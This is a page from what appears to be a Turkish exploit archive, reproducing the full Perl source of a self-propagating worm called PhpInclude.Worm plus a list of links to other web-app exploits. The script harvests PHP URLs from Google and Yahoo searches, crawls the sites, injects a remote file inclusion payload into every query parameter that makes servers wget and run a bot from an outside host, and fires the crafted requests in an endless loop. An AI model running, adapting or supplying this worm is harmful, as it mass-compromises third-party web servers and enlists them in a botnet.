Exploit / Web Apps Exploit / PhpInclude.Worm - PHP Scripts Automated Arbitrary File Inclusion

Eklenme Tarihi: 2008-10-20 22:59
#!/usr/bin/perl

use LWP::Simple;
use IO::Socket::INET;

while(1){
$numr = int rand(9999);
$caxe = ".";
$caxe1 = ".";
$caxe .= rand(9999);
$caxe1 .= rand(9999);
$arq = ".";
$arq = int rand(9999);

open(sites,">$arq");
print sites "";
close(sites);


$procura = 'inurl:*.php?*=' . $numr;

for($n=0;$n<900;$n += 10){
$sock = IO::Socket::INET->new(PeerAddr => "www.google.com.br", PeerPort
=> 80, Proto => "tcp") or next;
print $sock "GET /search?q=$procura&amp;start=$n HTTP/1.0\n\n";
@resu = <$sock>;
close($sock);
$ae = "@resu";
while ($ae=~ m/<a href=.*?>.*?<\/a>/){
$ae=~ s/<a href=(.*?)>.*?<\/a>/$1/;
$uber=$1;
if ($uber !~/translate/)
{
if ($uber !~ /cache/)
{
if ($uber !~ /"/)
{
if ($uber !~ /google/)
{
if ($uber !~ /216/)
{
if ($uber =~/http/)
{
if ($uber !~ /start=/)
{
open(arq,">>$arq");
print arq "$uber\n";
close(arq);
}}}}}}}}}


for($cadenu=1;$cadenu <= 991; $cadenu +=10){

@cade = get("http://cade.search.yahoo.com/search?p=$procura&amp;ei=UTF-8&amp;fl=0&amp;all=1
&amp;pstart=1&amp;b=$cadenu") or next;
$ae = "@cade";

while ($ae=~ m/<em class=yschurl>.*?<\/em>/){
$ae=~ s/<em class=yschurl>(.*?)<\/em>/$1/;
$uber=$1;

$uber =~ s/ //g;
$uber =~ s/<b>//g;
$uber =~ s/<\/b>//g;

open(a,">>$arq");
print a "$uber\n";
close(a);
}}

$ark = $arq;
@si = "";
open (arquivo,"<$ark");
@si = <arquivo>;
close(arquivo);
$novo ="";
foreach (@si){
if (!$si{$_})
{
$novo .= $_;
$si{$_} = 1;
}
}
open (arquivo,">$ark");
print arquivo $novo;
close(arquivo);


$a =0;
$b =0;
open(ae,"<$arq");
while(<ae>)
{$sites[$a] = $_;
chomp $sites[$a];
$a++;
$b++;}
close(ae);

for ($a=0;$a<=$b;$a++){
open (file, ">$caxe");
print file "";
close(file);
open (file, ">$caxe1");
print file "";
close(file);
$k=0;
$e=0;
$data=get($sites[$a]) or next;
while($data=~ m/<a href=".*?">.*?<\/a>/){
$data=~ s/<a href="(.*?)">.*?<\/a>/$1/;
$ubersite=$1;

if ($ubersite =~/"/)
{
$nu = index $ubersite, '"';
$ubersite = substr($ubersite,0,$nu);
}
if ($ubersite !~/http/)
{$ubersite = $sites[$a].'/'.$ubersite;}
open(file,">>$caxe") || die("nao abriu caxe.txt $!");
print file "$ubersite\n";
close(file);
}

$lista1 = 'http://server/spy.gif?&amp;cmd=cd /tmp;wget www.server.tld/spybot.txt; perl php.txt';
# Other filenames included with this and other variants :
# adfkgnnodfijg
# bot
# bot.txt
# bot.txt.1
# dry.scp
# ssh.a
# terrorbot.txt
# terrorbot.txt.1
# terrorworm.txt
# terrorworm.txt.1
# unbot.txt
# unbot.txt.1
# unbot.txt.2
# unbot.txt.3
# unworm.txt
# unworm.txt.1
# unworm.txt.2
# unworm.txt.3
# worm1.txt
# worm.txt
# worm.txt.1
$t =0;
$y =0;
@ja;
open(opa,"<$caxe") or die "nao deu pra abrir o arquivo caxe.txt";
while (<opa>)
{
$ja[$t] = $_;
chomp $ja[$t];
$t++;
$y++;
}
close(opa);
$t=1;
while ($t < $y)
{
if ($ja[$t] =~/=/)
{
$num = rindex $ja[$t], '=';
$num += 1;
$ja[$t] = substr($ja[$t],0,$num);
open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt";
print jaera "$ja[$t]$lista1\n";
close(jaera);
$num = index $ja[$t], '=';
$num += 1;
$ja[$t] = substr($ja[$t],0,$num);
$num1 = rindex $ja[$t], '.';
$subproc = substr($ja[$t],$num1,$num);

open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt";
print jaera "$ja[$t]$lista1\n";
close(jaera);
}
$t++;
}
$ark = "$caxe1";
@si = "";
open (arquivo,"<$ark");
@si = <arquivo>;
close(arquivo);
$novo ="";
foreach (@si){
if (!$si{$_})
{
$novo .= $_;
$si{$_} = 1;
}
}
open (arquivo,">$ark");
print arquivo $novo;
close(arquivo);
$q=0;
$w=0;
@hot;
open (ops,"<$caxe1");
while(<ops>)
{
$hot[$q] = $_;
chomp $hot[$q];
$q++;
$w++;
}
close(ops);

for($q=0;$q<=$w;$q++)
{

if ($hot[$q] =~/http/)
{
$tipo=get($hot[$q]) or next;
}}
}
}

Yorumlar:

  1. Henüz Yorum Eklenmedi

Yorum Ekle



Keywords:




Benzer Sayfalar (Similar Pages):

Bulunamadı. (not found)

Bu Sayfalarda İlginizi Çekebilir (The Links Bellow May Attract You As Well):
Exploit / Web Apps Exploit / Turbo Seek Null Byte Error Discloses Files to Remote Users
Exploit / Web Apps Exploit / AWStats Input Validation Hole in 'logfile'
Exploit / Web Apps Exploit / sendtemp.pl Read Access to Files
Exploit / Web Apps Exploit / phpMyChat 0.14.5 Remote Improper File Permissions Exploit
Exploit / Web Apps Exploit / phpBB highlight Arbitrary File Upload (Santy.A)
Exploit / Web Apps Exploit / ocPortal 1.0.3 Remote File Inclusion
Exploit / Web Apps Exploit / SocialMPN Arbitrary File Injection Exploit
Exploit / Web Apps Exploit / Download Center Lite (DCL) <= 1.5 Remote File Inclusion
Exploit / Web Apps Exploit / PHP mcNews <= 1.3 (skinfile) Remote File Include Vulnerability
Exploit / Web Apps Exploit / phpWebLog <= 0.5.3 Arbitrary File Inclusion
Exploit / Web Apps Exploit / PHP Form Mail 2.3 Arbitrary File Inclusion
Exploit / Web Apps Exploit / OWL Intranet Engine 0.82 (xrms_file_root) Code Execution Exploit
Exploit / Web Apps Exploit / Woltlab Burning Board 2.x Datenbank MOD (fileid) Remote SQL Injection
Exploit / Web Apps Exploit / FarsiNews <= 2.5 Directory Traversal Arbitrary (users.db) Access Exploit
Exploit / Web Apps Exploit / VWar 1.5.0 R12 Remote File Inclusion Exploit
Exploit / Web Apps Exploit / PHPNuke-Clan 3.0.1 (vwar_root2) Remote File Inclusion Exploit
Exploit / Web Apps Exploit / SQuery <= 4.5 (libpath) Remote File Inclusion Exploit
Exploit / Web Apps Exploit / CuteNews <= 1.4.1 (function.php) Local File Include Exploit
Exploit / Web Apps Exploit / GuestBook Script <= 1.7 (include_files) Remote Code Execution Exploit
Exploit / Web Apps Exploit / Sphider <= 1.3 (configset.php) Arbitrary Remote Inclusion Exploit
Exploit / Web Apps Exploit / Sire 2.0 (lire.php) Remote File Inclusion/Arbitary File Upload Vulnerability
Exploit / Web Apps Exploit / Autonomous LAN Party <= 0.98.1.0 Remote File Inclusion Vulnerability
Exploit / Web Apps Exploit / INDEXU <= 5.0.1 (base_path) Remote File Inclusion Exploit
Exploit / Web Apps Exploit / AngelineCMS 0.8.1 (installpath) Remote File Inclusion Exploit
Exploit / Web Apps Exploit / Aardvark Topsites PHP <= 4.2.2 (path) Remote File Inclusion Vuln
Exploit / Web Apps Exploit / Limbo CMS <= 1.0.4.2 (sql.php) Remote File Inclusion Vulnerability
Exploit / Web Apps Exploit / MyEvent <= 1.3 (myevent_path) Remote File Inclusion Vulnerability
Exploit / Web Apps Exploit / ezUserManager <= 1.6 Remote File Inclusion Vulnerability
Exploit / Web Apps Exploit / TR Newsportal <= 0.36tr1 (poll.php) Remote File Inclusion Vulnerability
Exploit / Web Apps Exploit / Php Blue Dragon CMS <= 2.9 Remote File Include Vulnerability